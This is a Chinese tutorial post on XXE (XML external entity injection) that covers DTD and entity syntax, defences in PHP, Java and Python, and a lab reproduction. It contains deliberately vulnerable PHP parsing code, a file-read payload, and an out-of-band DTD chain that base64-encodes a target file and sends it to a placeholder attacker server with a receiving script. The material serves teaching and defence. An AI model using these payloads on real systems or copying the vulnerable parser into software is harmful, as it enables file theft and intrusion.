渗透测试-16:XXE 漏洞
2022/3/31 6:23:57
本文主要是介绍渗透测试-16:XXE 漏洞,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
XML
- XML是Extensible Markup Language(可扩展标识语言)的简写。
- XML的设计宗旨是传输数据,不是显示数据。XML在web中的应用已十分广泛。XML是各种应用程序之间数据传输最常用的格式。与HTML的区别在于一个被设计用来展示数据,一个用来传输数据
- 特点
- XML 的设计宗旨是传输数据,而非显示数据
- XML 标签没有被预定义,需要自行定义标签。
- XML 被设计为具有自我描述性。
- XML 是 W3C 的推荐标准
DTD
• DTD(Document Type Definition)文档类型定义
• DTD规定、约束符合标准通用语言或可扩展标记语言规则的定义和陈述
• DTD是XML的约束,通过DTD验证的XML是“合法”的XML
DTD语法
元素约束
格式:<!ELEMENT name content-type>
ELEMENT
表示关键字NAME
表示元素名称content-type
表示元素类型,有三种写法:EMPTY
表示该元素不能包含子元素和文本,但可以有属性ANY
表示该元素可以包含任何在该DTD中定义的元素内容#PCDATA
表示可以包含任何字符数据,但是不能在其中包含任何子元素
属性约束
格式:<!ATTLIST 元素名 属性名称 属性类型 属性特点>
属性类型:
CDATA
是字符串类型ID
在整个文档中是唯一的,命名规则和xml元素一样,不能以数字开头IDREF
reference属性的值必须来源于ID的值IDREFS
值必须来源于ID的值,取值可以是多个,以空格分开书写Enumerated
枚举类型(男|女)ENTITY
实体
属性特点:
#REQUIRED
必须设置#IMPLIED
可选#FIXED value
固定值,属性可以不设定(该属性会自动设置上),如果设置,值必须为valuedefault value
默认值,可以自定义,如果不定义该属性,则属性会自动设置,值为默认值
验证XML是否符合DTD约束
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>检测xml格式</title> <script type="text/javascript"> var doc = new ActiveXObject("Microsoft.XMLDOM"); doc.validateOnParse = true; doc.async = false; //同步校验 function detect() { doc.load("test.xml"); var error = document.getElementById("error"); var results = ""; results += "错误信息:" + doc.parseError.reason + "<br/>"; results += "错误行数:" + doc.parseError.line + "<br/>"; results += "错误位置:" + doc.parseError.linepos + "<br/>"; results += "错误代码:" + doc.parseError.errorCode + "<br/>"; error.innerHTML = results; } </script> </head> <body> <input type="button" value="检测" onclick="detect()" /> <div id="error"></div> </body> </html>
实体
实体(ENTITY):如果在XML文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名(类似于变量),即一个ENTITY,然后在文档中调用它
类型 | 普通实体 | 参数实体 |
---|---|---|
内部 | <!ENTITY 实体名 "文本内容"> |
<!ENTITY % 实体名 "文本内容"> |
外部 | <!ENTITY 实体名 SYSTEM "外部文件/URL"> |
<!ENTITY % 实体名 SYSTEM "外部文件/URL"> |
引用方式 | &实体名; |
%实体名; |
使用场合 | 用在XML文档中(包括DTD) | 只用在DTD的元素和属性声明中 |
php解析xml
<?php header("content-type:text/html;charset=utf-8"); $xml = simplexml_load_file("xxx.xml"); for ($i = 0; $i < count($xml->user); $i++) { $result = $xml->user[$i]->addr; echo $result . "<br>"; }
<?php header("content-type:text/html;charset=utf-8"); libxml_disable_entity_loader(false); $xmldoc = file_get_contents("xxx.xml"); $dom->loadXML($xmldoc, LIBXML_NOENT | LIBXML_DTDLOAD); $result = simplexml_import_dom($dom); for ($i = 0; $i < count($result->user); $i++) { $data = $result->user[$i]->addr; echo $data . "<br>"; }
外部实体
<!ENTITY 实体名 SYSTEM "URL">
- 外部引用可支持 http、file 等协议,不同的语言支持的协议不同,但存在一些通用的协议
总结
- 参数实体只能用于DTD中,不能用于文档本体中
- 参数实体的内容不仅可以包含文本,还可以包含标记
- 外部参数实体应用于独立的DTD文档,外部一般实体用于XML文档
- 外部参数实体可以将多个独立的DTD文档组成一个大的DTD文档,外部一般实体用于将多个独立XML文档组成一个大的XML文档
XXE漏洞原理
- XXE漏洞全称为 XML External Entity Injection,即XML外部实体注入
- XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致用户可以控制外部的加载文件,造成XXE漏洞,导致如文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害
漏洞危害
- 任意文件读取
- 内网端口探测
- 拒绝服务攻击
- 远程代码执行
- 钓鱼
漏洞防御
-
禁用外部实体的方法
PHP
libxml_disable_entity_loader(true);
JAVA
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-
过滤用户提交的XML数据
过滤关键词:
<!DOCTYPE
<!ENTITY SYSTEM
PUBLIC
漏洞复现
漏洞源码(有回显)
<?php header('Content-type:text/html;charset=utf-8'); libxml_disable_entity_loader(false); if (isset($_POST['xml'])) { $xml = $_POST['xml']; $dom = new DOMDocument(); $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD); $data = simplexml_import_dom($dom); echo "result: " . $data; } ?> <html> <head> <title>xxe案例</title> </head> <body> <h1>XXE案例</h1> <form action="" method="post"> <input type="text" style="width: 300px;height:150px;" name="xml"> <input type="submit" value="submit"> </form> </body> </html>
payload
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///[目标文件及路径]"> ]> <root>&xxe;</root>
漏洞源码(无回显)
<?php header('Content-type:text/html;charset=utf-8'); libxml_disable_entity_loader(false); if (isset($_POST['xml'])) { $xml = $_POST['xml']; $dom = new DOMDocument(); $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD); $data = simplexml_import_dom($dom); // echo "result: " . $data; } ?> <html> <head> <title>XXE案例</title> </head> <body> <h1>XXE案例</h1> <form action="" method="post"> <input type="text" style="width: 300px;height:150px;" name="xml"> <input type="submit" value="submit"> </form> </body> </html>
攻击者服务器
attack.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=[目标文件及路径]"> <!ENTITY % payload "<!ENTITY % getcontent SYSTEM 'http://[攻击者服务器IP]/xxe/getcontent.php?content=%file;'>"> %file; %payload; %getcontent;
getcontent.php
<?php $content = $_GET['content']; $content = base64_decode($content); file_put_contents("xxe_results.txt", $content);
payload
<?xml version="1.0"?> <!DOCTYPE root[ <!ENTITY % xxe SYSTEM "http://[攻击者服务器IP]/xxe/attack.dtd"> %xxe; ]>
漏洞利用
内网主机扫描
利用协议和IP地址最后一位字典遍历,结合Burp爆破返回数据包长度判断
内网端口探测
代码将尝试与端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启
远程代码执行
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,主要是由于配置不当/开发内部应用导致的。且php的expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令
这篇关于渗透测试-16:XXE 漏洞的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-27OpenFeign服务间调用学习入门
- 2024-12-27OpenFeign服务间调用学习入门
- 2024-12-27OpenFeign学习入门:轻松掌握微服务通信
- 2024-12-27OpenFeign学习入门:轻松掌握微服务间的HTTP请求
- 2024-12-27JDK17新特性学习入门:简洁教程带你轻松上手
- 2024-12-27JMeter传递token学习入门教程
- 2024-12-27JMeter压测学习入门指南
- 2024-12-27JWT单点登录学习入门指南
- 2024-12-27JWT单点登录原理学习入门
- 2024-12-27JWT单点登录原理学习入门